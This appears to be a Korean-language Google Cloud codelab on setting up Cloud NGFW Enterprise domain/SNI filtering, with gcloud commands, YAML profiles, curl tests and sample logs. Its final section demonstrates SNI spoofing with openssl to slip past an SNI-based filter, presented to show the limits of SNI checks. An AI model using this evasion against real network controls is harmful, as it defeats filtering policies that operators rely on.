Cloud NGFW Enterprise 도메인/SNI 필터링 Codelab[선택적 TLS 검사]

1. 소개

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall은 고급 보호 기능, 마이크로 세분화, 광범위한 적용 범위를 갖춘 완전 분산형 방화벽 서비스로, 내부 및 외부 공격으로부터 Google Cloud 워크로드를 보호합니다.

Cloud NGFW에는 다음과 같은 이점이 있습니다.

  • 분산형 방화벽 서비스: Cloud NGFW는 각 워크로드에 스테이트풀(Stateful) 완전 분산형 호스트 기반 시행을 제공하여 제로 트러스트 보안 아키텍처를 사용 설정합니다.
  • 구성 및 배포 간소화: Cloud NGFW는 리소스 계층 구조 노드에 연결할 수 있는 네트워크 및 계층식 방화벽 정책을 구현합니다. 이러한 정책은 Google Cloud 리소스 계층 구조에서 일관된 방화벽 환경을 제공합니다.
  • 세밀한 제어 및 마이크로 세분화: 방화벽 정책과 Identity and Access Management (IAM)에서 관리하는 태그를 함께 사용하면 가상 프라이빗 클라우드 (VPC) 네트워크 및 조직 전체에서 단일 VM까지 North-South 트래픽과 East-West 트래픽에 대한 세밀한 제어를 수행할 수 있습니다.

Cloud NGFW는 다음 등급으로 제공됩니다.

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Standard FQDN 객체는 정규화된 도메인 이름 (FQDN)을 IP 주소로 변환한 다음 IP 주소 목록에 대해 규칙을 적용할 수 있습니다. 하지만 도메인 필터링이 적용된 Cloud NGFW Enterprise를 사용하면 검사를 몇 단계 더 진행할 수 있습니다.

Cloud NGFW Enterprise

Cloud NGFW Enterprise는 현재 분산된 Google Cloud 방화벽 패브릭에 레이어 7 기능인 침입 방지 서비스 (IPS)를 제공합니다.

이제 Cloud NGFW Enterprise에 도메인 필터링이 있어 IP 주소에 의존하지 않고 도메인 이름을 사용하여 http(s) 트래픽을 제어할 수 있습니다.

TLS 핸드셰이크의 일부인 HTTPS 트래픽의 도메인/SNI 필터링의 경우 클라이언트 Hello는 서버 이름 표시 (SNI)가 있는 확장 프로그램입니다. SNI는 클라이언트가 연결하려고 하는 호스트 이름을 전송하는 TLS 프로토콜의 확장 프로그램입니다. 필터링이 검증되는 위치입니다.

HTTP 트래픽에는 SNI가 없으므로 HTTP 호스트 헤더 필드만 사용하여 필터링이 적용됩니다.

도메인 필터링은 새로운 유형의 보안 프로필인 UrlFilteringProfile로 구성됩니다. UrlFilteringProfile에는 UrlFilter 목록이 포함되며, 각 UrlFilter에는 작업, 일치자 문자열 목록, 고유한 우선순위가 포함됩니다. 이 구성은 향후 새로운 유형의 보안 프로필을 만드는 대신 사용할 수 있게 되면 전체 URL 필터링으로 쉽게 전환할 수 있도록 이름 지정에 '도메인' 대신 'URL'을 사용합니다.

UrlFilteringProfiles에는 우선순위가 높은 UrlFilter와 일치하지 않는 모든 연결을 거부하는 암시적 최저 우선순위 (2147483647) UrlFilter가 포함됩니다.

빌드할 항목

이 Codelab에서는 단일 프로젝트가 필요하며 VPC 네트워크를 만들고 여러 네트워크 및 보안 리소스를 관리할 수 있어야 합니다. Cloud NGFW Enterprise가 TLS 검사에 대한 선택적 안내와 함께 도메인 및 SNI 필터링을 제공하는 방법을 보여줍니다.

와일드 카드 사용을 비롯한 허용 및 거부 규칙의 여러 시나리오를 테스트합니다.

4a779fae790d117.png

네트워크 방화벽 정책 규칙베이스의 최종 상태는 아래 표와 유사합니다.

우선순위

방향

대상

소스

대상 위치

작업

유형

200

인그레스

전체

IAP

모두

허용

Essentials

300

이그레스

전체

모두

0.0.0.0/0:80,443

L7 검사

Enterprise

학습할 내용

  • 네트워크 방화벽 정책을 만드는 방법
  • Cloud NGFW Enterprise 도메인/SNI 필터링을 구성하고 사용하는 방법
  • 도메인/SNI 필터링 외에 위협 방지를 구성하는 방법
  • 로그를 검토하는 방법
  • [선택사항] TLS 검사를 사용 설정하는 방법

필요한 항목

  • Google Cloud 프로젝트
  • 인스턴스 배포 및 네트워킹 구성요소 구성에 관한 지식
  • 네트워크 정책 방화벽 구성에 관한 지식

2. 시작하기 전에

변수 만들기/업데이트

이 Codelab에서는 Cloud Shell에서 gcloud 구성 구현을 지원하기 위해 $변수를 사용합니다.

Cloud Shell에서 아래 명령어를 실행하고 필요에 따라 괄호 안의 정보를 바꿉니다.

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

3. API 사용 설정

아직 사용 설정하지 않은 경우 API를 사용 설정합니다.

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise 엔드포인트 생성

Cloud NGFW Enterprise 엔드포인트를 만드는 데 약 20분이 걸리므로 엔드포인트가 생성되는 동안 먼저 엔드포인트를 만들고 기본 설정을 병렬로 실행할 수 있습니다.

위협 방지 프로필을 사용하지 않더라도 도메인/SNI 필터링에는 방화벽 엔드포인트가 필요합니다.

보안 프로필 및 보안 프로필 그룹을 만듭니다.

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

아래 명령어를 실행하여 엔드포인트가 생성 중 (CREATING)인지 확인합니다.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

예상 출력 (사용 중인 클라이언트에 따라 출력 형식이 다를 수 있음):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

생성 프로세스는 약 20분 정도 걸립니다. 기본 설정 섹션으로 이동하여 필요한 리소스를 동시에 만듭니다.

5. 기본 설정

VPC 네트워크 및 서브넷

VPC 네트워크 및 서브넷

VPC 네트워크 및 서브넷을 만듭니다.

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

외부 IP 주소, Cloud Router, Cloud NAT 게이트웨이를 만듭니다.

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

인스턴스 생성

클라이언트 인스턴스를 만듭니다.

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

전역 네트워크 방화벽 정책

전역 네트워크 방화벽 정책을 만듭니다.

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

ID 인식 프록시 범위의 트래픽을 허용하는 필수 Cloud 방화벽 필수 규칙을 만듭니다.

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

클라우드 방화벽 정책을 VPC 네트워크에 연결합니다.

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. 허용을 위한 도메인/SNI 필터링 구성 만들기

다음으로 허용 및 거부할 도메인을 구성합니다. Cloud Shell에서 yaml 파일을 만듭니다.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

yaml 구성을 가져와 보안 프로필을 만듭니다.

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

예상 출력:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

보안 프로필 그룹을 만듭니다.

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

SPG에 보안 프로필이 포함되어 있는지 확인합니다.

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

예상 출력:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. 클라우드 방화벽 엔드포인트 연결

아직 환경 변수를 정의하지 않았거나 스크립트 방식을 선호하는 경우 환경 변수를 정의합니다.

Cloud 방화벽 엔드포인트 생성이 성공적으로 완료되었는지 확인합니다. 상태가 ACTIVE로 표시되면 계속 진행합니다 (생성 중에는 예상 상태가 CREATING임).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

예상 출력 (사용 중인 클라이언트에 따라 출력 형식이 다를 수 있음):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

클라우드 방화벽 엔드포인트를 VPC 네트워크에 연결합니다.

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

연결 과정은 약 10분이 소요됩니다. 상태가 활성으로 표시되면 다음 섹션으로 진행합니다 (생성 중에는 예상 상태가 생성 중임).

gcloud network-security firewall-endpoint-associations list

완료 시 예상 출력:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. 도메인/SNI 필터링을 위한 방화벽 규칙 만들기

Google에는 묵시적 이그레스 허용 방화벽 규칙이 있습니다. 도메인/SNI 필터링을 적용하려면 규칙을 명시적으로 정의해야 합니다. 다음 규칙은 보안 프로필에서 검사할 수 있도록 목적지 포트 80 및 443의 이그레스 트래픽을 전송합니다.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. 허용 규칙 검사

IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

허용된 대상에 샘플 요청을 보냅니다.

curl https://www.example.com --max-time 2

'허용' 방화벽 규칙으로 인해 이 요청이 성공했음을 확인합니다.

목록에 없는 도메인을 몇 개 시도해 보겠습니다.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

예상 출력:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

'example.com'이 작동하지 않는 이유는 무엇인가요? 보안 프로필 구성에 'www.example.com'이 명시적으로 포함되어 있기 때문입니다. example.com의 모든 하위 도메인을 허용하려면 와일드 카드를 사용하면 됩니다.

다른 요청도 실패했습니다. 이는 보안 프로필 그룹에 우선순위가 가장 낮은 기본 거부가 있고 www.example.com만 허용되기 때문입니다.

VM을 종료하여 Cloud Shell로 돌아갑니다.

exit

10. 와일드 카드의 도메인/SNI 필터링 구성 업데이트

yaml 파일을 살펴보고 와일드 카드 지원을 비롯한 추가 기능을 보여주기 위해 몇 가지 추가 업데이트를 진행해 보겠습니다. .com으로 끝나는 모든 도메인에 해당하는 '*.com'을 허용하는 규칙을 만듭니다. 참고: 이렇게 하면 이전 섹션에서 만든 원래 yaml 파일의 콘텐츠가 완전히 대체됩니다.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

새 yaml 구성으로 보안 프로필을 업데이트합니다.

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

보안 프로필 구성을 검증합니다.

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

예상 출력:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. 와일드 카드 규칙 검증

와일드카드 규칙이 작동하는지 확인해 보겠습니다. IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

허용된 대상에 샘플 요청을 보냅니다.

curl https://github.com --max-time 2
curl https://google.com --max-time 2

이러한 요청은 모두 성공해야 합니다. 다른 유효한 .com 도메인을 사용해 보세요. 그래도 성공하지 못하면 10분 이상 기다렸다가 다시 시도하세요.

'.com'의 여러 하위 도메인을 시도해도 모두 성공합니다.

curl https://mail.google.com --max-time 2

VM을 종료하여 Cloud Shell로 돌아갑니다.

exit

12. 거부용 도메인/SNI 필터링 구성 업데이트

보안 프로필 끝에 * 에 대한 암시적 DENY 규칙이 표시되고 filteringAction을 'ALLOW'로 사용하여 '허용된' 도메인이 생성되었습니다. filteringAction을 'DENY'로 사용하는 방법을 알아보겠습니다. DENY 작업은 명시적 ALLOW 앞에 오는 경우 유용할 수 있습니다. 다음 예를 참고하세요.

*.com을 허용하되 특정 .com 도메인을 명시적으로 거부하도록 기존 yaml을 업데이트할 예정입니다.

다른 모든 *.com을 명시적으로 허용하고 암시적 기본 거부를 유지하면서 *.github.com 및 *.google.com을 거부하도록 yaml 파일을 수정합니다. 예외의 우선순위는 우선순위 번호가 더 낮아야 합니다(1000 대 2000, 1500 대 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

새 yaml 구성으로 보안 프로필을 업데이트합니다.

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

보안 프로필 구성을 검증합니다.

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. 거부 규칙 검증

DENY 규칙이 작동하는지 확인해 보겠습니다. IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

거부된 대상에 샘플 요청을 보냅니다.

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

이 두 요청은 'DENY' 규칙과 일치하므로 실패해야 합니다.

추가 요청을 보냅니다.

curl https://github.com --max-time 2
curl https://google.com --max-time 2

이러한 방법이 효과가 있었던 이유는 무엇인가요? DENY 규칙이 '.github.com' 및 '.google.com'에 적용되었기 때문에 작동했습니다. github.com 및 google.com에 대한 요청에는 github.com 및 google.com의 하위 도메인을 참조하므로 해당 와일드 카드가 포함되지 않습니다.

.com 도메인에 대한 다른 요청은 성공해야 하며, 다른 도메인에 대한 기본값은 거부입니다. (.org, .net, .me 등)

VM을 종료하여 Cloud Shell로 돌아갑니다.

exit

14. 기본 허용의 도메인/SNI 필터링 구성 업데이트

명시적 거부 규칙이 있는 기본 허용 동작을 원한다면 어떻게 해야 할까요? 이 동작을 나타내도록 YAML을 업데이트합니다. .com 또는 .net 도메인에 대한 DENY 규칙이 구성되고 다른 모든 도메인은 허용됩니다.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

새 yaml 구성으로 보안 프로필을 업데이트합니다.

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

보안 프로필 구성을 검증합니다.

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

예상 출력:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

*에 대한 암시적 거부는 여전히 존재합니다. 필터링 작업이 허용으로 설정된 우선순위가 더 높은 (값이 더 낮은) 기본 규칙을 구성했으므로 해당 규칙은 관련성이 없어집니다.

(2000000000 vs 2147483647)

15. 기본 허용으로 거부 규칙 검증

DENY 규칙이 기본 ALLOW와 함께 작동하는지 확인해 보겠습니다. IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

거부된 대상에 샘플 요청을 보냅니다.

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

이 두 요청은 'DENY' 규칙과 일치하므로 실패해야 합니다. .com 또는 .net 요청은 실패해야 합니다.

성공해야 하는 요청을 몇 개 보냅니다 (기타 최상위 도메인).

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

이러한 요청은 우선순위가 2000000000인 '기본' 허용 규칙에 도달하므로 성공해야 합니다.

16. 도메인/SNI 필터링 로그 살펴보기

도메인/SNI 필터링을 위한 방화벽 규칙에 의해 트래픽이 검사되는지 확인하는 방법을 살펴보겠습니다.

Cloud Console에서 로그 탐색기로 이동하여 다음 필터를 입력합니다.

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

위 필터는 $prefix-fwpolicy라는 이름으로 생성된 방화벽 정책과 도메인/SNI 필터링 구성과 연결된 보안 프로필 그룹이 있는 규칙 우선순위 300을 살펴봅니다.

91854cacaec44798.png

'처분'에 '차단됨'이라고 표시되어 있습니다. 이는 트래픽이 차단되어 처리되도록 방화벽 엔진으로 전송되었음을 나타냅니다.

이제 실제 도메인/SNI 필터링 로그를 보려면 로그 탐색기에 다음 필터를 입력합니다. ($project_id를 project_id 값으로 바꿔야 함)

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

세부정보를 펼치면 다음 세부정보가 예시 (삭제됨)에 표시됩니다.

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

위의 로그 예시에서는 wikipedia.org에 대한 요청이 우선순위 2000000000 규칙과 일치하여 허용되었음을 보여줍니다. 이 규칙은 filterAction ALLOW가 적용된 '*'입니다. SNI를 비롯한 기타 세부정보가 있습니다.

DENY 샘플 로그를 살펴보겠습니다.

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

위에서 볼 수 있듯이 이는 요청이 거부되었을 때 로깅된 요청입니다. 요청은 보안 프로필의 규칙 1500과 일치하는 www.php.net에 대한 것이었습니다. 마찬가지로 SNI와 일치하여 결정을 내렸습니다.

17. SNI 스푸핑이 있는 경우 규칙 검증

소개에서 언급한 것처럼 NGFW Enterprise는 HTTP 트래픽의 HTTP 호스트 헤더를 확인하거나 TLS 암호화 트래픽의 SNI를 확인할 수 있습니다. 개인이 SNI를 스푸핑할 수 있습니다. 이렇게 하면 어떻게 되나요?

동작을 검증해 보겠습니다. IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

다음 openssl 명령어를 실행하여 SNI를 스푸핑합니다.

openssl s_client -connect www.google.com:443 -servername ifconfig.me

위의 예에서는 .com 및 .net 도메인에 대한 요청이 차단되고 다른 TLD는 허용될 것으로 예상됩니다. 아래는 스푸핑된 응답의 예입니다. 요청은 차단되어야 하는 www.google.com으로 전송되지만, www.google.com의 SNI를 전송하는 대신 ifconfig.me의 SNI를 지정합니다. 정책이 SNI를 기준으로 확인하므로 이 도메인을 '허용됨' 도메인으로 간주하여 통과시킵니다. google.com에 대한 TLS 연결이 성공적으로 이루어졌습니다.

.

예상 출력:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
